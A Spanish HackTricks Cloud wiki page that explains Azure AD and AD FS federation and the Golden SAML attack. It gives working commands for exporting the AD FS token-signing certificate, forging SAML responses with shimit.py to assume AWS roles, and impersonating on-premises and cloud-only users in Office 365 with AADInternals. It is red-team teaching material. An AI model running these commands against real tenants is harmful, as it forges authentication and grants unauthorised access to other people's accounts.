Español - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde la documentación:Federación es una colección de dominios que han establecido confianza. El nivel de confianza puede variar, pero típicamente incluye autenticación y casi siempre incluye autorización. Una federación típica puede incluir un número de organizaciones que han establecido confianza para acceso compartido a un conjunto de recursos.

Puedes federar tu entorno local con Azure AD y utilizar esta federación para autenticación y autorización. Este método de inicio de sesión garantiza que toda la autenticación de usuario ocurra en el entorno local. Este método permite a los administradores implementar niveles más rigurosos de control de acceso. La federación con AD FS y PingFederate está disponible.

Básicamente, en la Federación, toda la autenticación ocurre en el entorno local y el usuario experimenta SSO en todos los entornos de confianza. Por lo tanto, los usuarios pueden acceder a aplicaciones en la nube utilizando sus credenciales locales.

Se utiliza el Lenguaje de Marcado de Afirmaciones de Seguridad (SAML) para intercambiar toda la información de autenticación y autorización entre los proveedores.

En cualquier configuración de federación hay tres partes:

  • Usuario o Cliente

  • Proveedor de Identidad (IdP)

  • Proveedor de Servicios (SP)

(Imágenes de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica.

  2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego crea una Solicitud de Autenticación SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido.

  3. El IdP se hace cargo, autenticando al usuario. Después de la autenticación, se formula una Respuesta SAML por el IdP y se reenvía al SP a través del usuario.

  4. Finalmente, el SP evalúa la Respuesta SAML. Si se valida con éxito, implicando una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio.

Si deseas aprender más sobre la autenticación SAML y los ataques comunes ve a:

Pivoteo

  • AD FS es un modelo de identidad basado en afirmaciones.

  • "..las afirmaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo) hechas sobre usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en afirmaciones ubicadas en cualquier lugar de Internet."

  • Las afirmaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.

  • Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.

  • El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o se puede derivar del GUID del usuario.

  • Más información en https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Ataque Golden SAML:

Golden SAML

El proceso donde un Proveedor de Identidad (IdP) produce una Respuesta SAML para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la respuesta podría estar firmada o encriptada utilizando la clave privada del IdP. Este procedimiento permite al Proveedor de Servicios (SP) confirmar la autenticidad de la Respuesta SAML, asegurando que fue emitida por un IdP de confianza.

Se puede establecer un paralelo con el ataque de ticket dorado, donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) se puede manipular para falsificar un objeto de autenticación (TGT o Respuesta SAML). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP.

Los Golden SAML ofrecen ciertas ventajas:

  • Pueden ser creados de forma remota, sin necesidad de formar parte del dominio o federación en cuestión.

  • Siguen siendo efectivos incluso con la Autenticación de Dos Factores (2FA) habilitada.

  • La clave privada de firma de token no se renueva automáticamente.

  • Cambiar la contraseña de un usuario no invalida un SAML ya generado.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) es un servicio de Microsoft que facilita el intercambio seguro de información de identidad entre socios comerciales de confianza (federación). Básicamente permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación.

Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente adquirir cualquier permiso en el entorno de AWS. El ataque requiere la clave privada utilizada para firmar los objetos SAML, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada.

Los requisitos para ejecutar un ataque Golden SAML incluyen:

  • Clave privada de firma de token

  • Certificado público del IdP

  • Nombre del IdP

  • Nombre del rol (rol a asumir)

  • Dominio\nombre de usuario

  • Nombre de sesión de rol en AWS

  • ID de cuenta de Amazon

Solo los elementos en negrita son obligatorios. Los demás se pueden completar según se desee.

Para adquirir la clave privada, es necesario acceder a la cuenta de usuario de AD FS. A partir de ahí, la clave privada se puede exportar desde el almacén personal utilizando herramientas como mimikatz. Para recopilar la otra información requerida, puedes utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de estar conectado como el usuario de ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Con toda la información, es posible olvidar un SAMLResponse válido como el usuario que deseas suplantar usando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> nube

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

También es posible crear el ImmutableID de usuarios solo en la nube e impersonarlos

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Red de HackTricks para AWS)!

Otras formas de apoyar a HackTricks:

AnteriorAz - Cloud Kerberos TrustSiguienteAz - PHS - Password Hash Sync

Última actualización